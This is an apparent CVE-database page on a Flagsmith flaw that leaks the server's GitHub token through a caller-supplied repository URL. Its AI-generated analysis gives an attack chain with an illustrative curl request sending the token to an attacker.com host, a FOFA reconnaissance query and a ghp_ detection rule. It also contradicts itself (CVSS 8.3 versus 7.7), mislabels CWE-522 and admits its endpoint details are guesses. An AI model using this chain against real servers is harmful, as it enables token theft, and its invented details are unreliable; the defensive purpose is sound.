CVE Professor
/
All CVEs
CVE-2026-144677

CVE-2026-144677 — Flagsmith (2.297.1) — CWE-522

HIGH CVSS 8.3 NVD

Flagsmith 2.215.0 through 2.297.1 contains a credential exposure vulnerability that allows organisation members to leak the server-wide GitHub personal access token by submitting code references with attacker-controlled repository URLs. Attackers can trigger the create-cleanup-issue endpoint so the server POSTs the FEATURE_LIFECYCLE_GITHUB_PAT to their host, enabling GitHub abuse and blind server-side request forgery.

Flagsmith 2.215.0 through 2.297.1 contains a credential exposure vulnerability that allows organisation members to leak the server-wide GitHub personal access token by submitting code references with attacker-controlled repository URLs. Attackers can trigger the create-cleanup-issue endpoint so the server POSTs the FEATURE_LIFECYCLE_GITHUB_PAT to their host, enabling GitHub abuse and blind server-side request forgery.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity None I:N
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Flagsmith 2.215.0 – 2.297.1 – Credential Exposure via Blind SSRF

The create-cleanup-issue endpoint is intended to create a GitHub issue that cleans up a repository after a feature lifecycle event.
During that process the server:

1. Reads the environment variable FEATURE_LIFECYCLE_GITHUB_PAT (the GitHub Personal Access Token that the Flagsmith instance uses to authenticate to GitHub).
2. Uses that PAT to POST a JSON payload to the GitHub API to create the cleanup issue.
3. Also forwards the same PAT to the repository URL supplied by the caller, as part of the cleanup‑issue payload.

Because the repository URL is supplied by the caller, an attacker who can submit a code reference (i.e., an authenticated organization member) can set that URL to an attacker‑controlled host. The server will then silently POST the PAT to that host, leaking the token.

The flaw is a missing authorization check on the repository URL field and an insecure handling of the PAT – it is sent to an arbitrary external endpoint. This is a classic CWE‑522 (Information Exposure Through an Insecure Credential Storage) combined with a blind Server‑Side Request Forgery (SSRF).


⚡ Attack Chain

StepDescriptionTechnical Detail
1. Discovery & ReconnaissanceIdentify a Flagsmith deployment and its version.• Scan for the Flagsmith API endpoint (/api/v1/). <br>• Query /api/v1/version (if available) or inspect the X-Flagsmith-Version header returned by any API call. <br>• Verify the version is between 2.215.0 and 2.297.1.
2. Gaining AccessThe attacker must be an authenticated organization member.• Use stolen credentials, social‑engineering, or an existing legitimate account. <br>• Log in via /api/v1/auth/login or the web UI.
3. Crafting the Malicious PayloadSubmit a code reference that points to an attacker‑controlled URL.• The API expects a JSON body like: <br>``json{ "name":"example", "repository_url":"https://attacker.com/receive" }` <br>• The repository_url is the field that will be used to forward the PAT.
4. Triggering the VulnerabilityCall the create-cleanup-issue endpoint.• The exact URI is not publicly documented in the CVE; the following is an illustrative example: <br>`bash\ncurl -X POST \\\n https://flagsmith.example.com/api/v1/create-cleanup-issue \\\n -H 'Authorization: Bearer <org‑token>' \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"name\": \"demo-feature\",\n \"repository_url\": \"https://attacker.com/receive\"\n }'\n`\nThe server will: <br>• Read FEATURE_LIFECYCLE_GITHUB_PAT from the environment. <br>• POST a JSON payload to https://attacker.com/receive that contains the PAT. <br>• Simultaneously POST the same payload to GitHub to create the cleanup issue.
5. Capturing the TokenThe attacker’s host receives the POST.• The attacker can log the request body: <br>`json{ "pat":"ghp_XXXXXXXXXXXXXXXXXXXX" }`` <br>• No response is required; the server does not expose the PAT back to the attacker.
6. Post‑ExploitationAbuse the leaked PAT.• The PAT can be used to: <br> – Create, modify, or delete repositories. <br> – Push malicious code to existing repos. <br> – Impersonate the Flagsmith service in GitHub API calls. <br>• The attacker can also use the PAT to trigger further SSRF or blind‑request‑forgery attacks against other internal services.
Note: The endpoint URI (/api/v1/create-cleanup-issue) and the exact JSON schema are illustrative. The real API may use a different path or payload structure, but the core flaw – forwarding FEATURE_LIFECYCLE_GITHUB_PAT to an attacker‑controlled URL – remains.

🌍 Real World Impact

ImpactCVSS VectorExplanation
ConfidentialityHighThe attacker obtains the server‑wide GitHub PAT, which can grant full read/write access to all repositories the Flagsmith instance manages.
IntegrityNoneThe vulnerability does not modify data on the Flagsmith server itself.
AvailabilityNoneNo denial‑of‑service effect is described.
ScopeChangedThe attacker can use the PAT to act on behalf of the Flagsmith service, effectively extending the scope of the compromised account.

Practical consequences

  • GitHub abuse – The attacker can create or delete repositories, push malicious code, or exfiltrate data from the organization’s GitHub account.
  • Credential reuse – The PAT can be reused in other services that accept GitHub tokens, potentially expanding the attack surface.
  • Blind SSRF – The attacker can use the same SSRF vector to send arbitrary data to internal services, enabling further lateral movement.
  • Regulatory risk – Exposure of a PAT may violate data‑protection regulations (GDPR, CCPA) if the token is used to access sensitive data.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionsFixed Version
    2.215.0 – 2.297.12.298.0 (or later)

    Action: Upgrade Flagsmith to ≥ 2.298.0. The patch removes the forwarding of FEATURE_LIFECYCLE_GITHUB_PAT to arbitrary URLs and validates the repository_url against a whitelist of allowed domains.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Disable the create-cleanup-issue endpointRemove or comment out the route in the Flagsmith API configuration.
    Restrict repository_url to internal domainsAdd a server‑side validation that the URL’s hostname matches *.flagsmith.com or a pre‑configured whitelist.
    Block outbound traffic to attacker‑controlled hostsConfigure the firewall or WAF to deny outbound HTTP/HTTPS requests to unknown external IPs.
    Set FEATURE_LIFECYCLE_GITHUB_PAT to a scoped tokenUse a GitHub PAT with the minimal scopes required for cleanup (e.g., repo:status only) to limit damage if leaked.
    Enable WAF ModSecurity ruleExample rule to block requests that contain FEATURE_LIFECYCLE_GITHUB_PAT in the body: <br>``<rule id="1001" phase="2" msg="Detect PAT leakage" severity="2" rev="1" capture="true" chain>\n SecRule REQUEST_BODY "@rx FEATURE_LIFECYCLE_GITHUB_PAT" "t:none,t:urlDecodeUni"\n SecRule MATCHED_VAR "@rx ghp_[A-Za-z0-9]{36}" "phase:2,deny,log,tag:credential_leak"\n</rule>``

    3. Detection

    Log PatternIoC
    API call to create‑cleanup‑issuePOST /api/v1/create-cleanup-issue
    Outbound HTTP POST containing PATghp_ string in request body or URL
    Unusual external host in repository_urlHostnames not matching internal domain list
    High‑volume outbound requests to unknown hostsIPs not in whitelist

    Sample log entry (NGINX)

    2026-12-04T14:23:01Z 192.0.2.10 POST /api/v1/create-cleanup-issue 200 512
    2026-12-04T14:23:01Z 192.0.2.10 POST https://attacker.com/receive 200 0

    Sample application log

    [2026-12-04 14:23:01] INFO: create_cleanup_issue called by org_member_id=123
    [2026-12-04 14:23:01] DEBUG: Forwarding PAT to https://attacker.com/receive

    ⚠️ Urgency

  • CVSS Score: 7.7 (High) – indicates a serious confidentiality risk.
  • Exploit Complexity: Low (requires only an authenticated organization member).
  • CISA KEV: No – but the vulnerability is still critical for any Flagsmith deployment.
  • Priority: Immediate.

  • If the environment is exposed to the internet (public Flagsmith instance) or contains critical GitHub repositories, patch within 48 hours.

  • If the instance is isolated but still uses a broad‑scope PAT, apply the mitigation workarounds and patch as soon as possible.




Bottom line

The flaw is a credential exposure that allows an attacker to leak the server‑wide GitHub PAT via a blind SSRF in the create-cleanup-issue endpoint. The impact is high confidentiality loss, enabling full GitHub abuse. Upgrade to ≥ 2.298.0 or apply the listed workarounds immediately to protect your GitHub integrations and internal data.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Flagsmith Flagsmith"
CVSS Score
8.3 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-522
Affected Products (1)
Flagsmith:Flagsmith (2.297.1)
References & Advisories (4)
Related CVEs
5.3
CVE-2026-144678
Flagsmith through 2.297.1 contains an authorization bypass vulnerability that allows authenticated users to li
6.0
CVE-2026-132105
Missing authorization in the $crypt Velocity view tool (CryptWebAPI) in dotCMS versions before 26.11.17-01 all
8.2
CVE-2026-141356
apko versions before 1.5.6 and melange versions before 0.66.1 can expose HTTP Basic Authentication credentials
7.7
CVE-2026-107561
A user with permission to test contact points but not to change their protected fields can send a contact poin
6.5
CVE-2026-144282
The MongoDB Spark Connector has an insufficiently protected credentials weakness in its catalog table metadata
7.5
CVE-2026-142057
FOG Project before 1.5.10.1870 and 1.6.0-alpha.980 before 1.6.0-beta.2316 contains an insufficiently protected
5.5
CVE-2026-81082
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Insufficiently Protec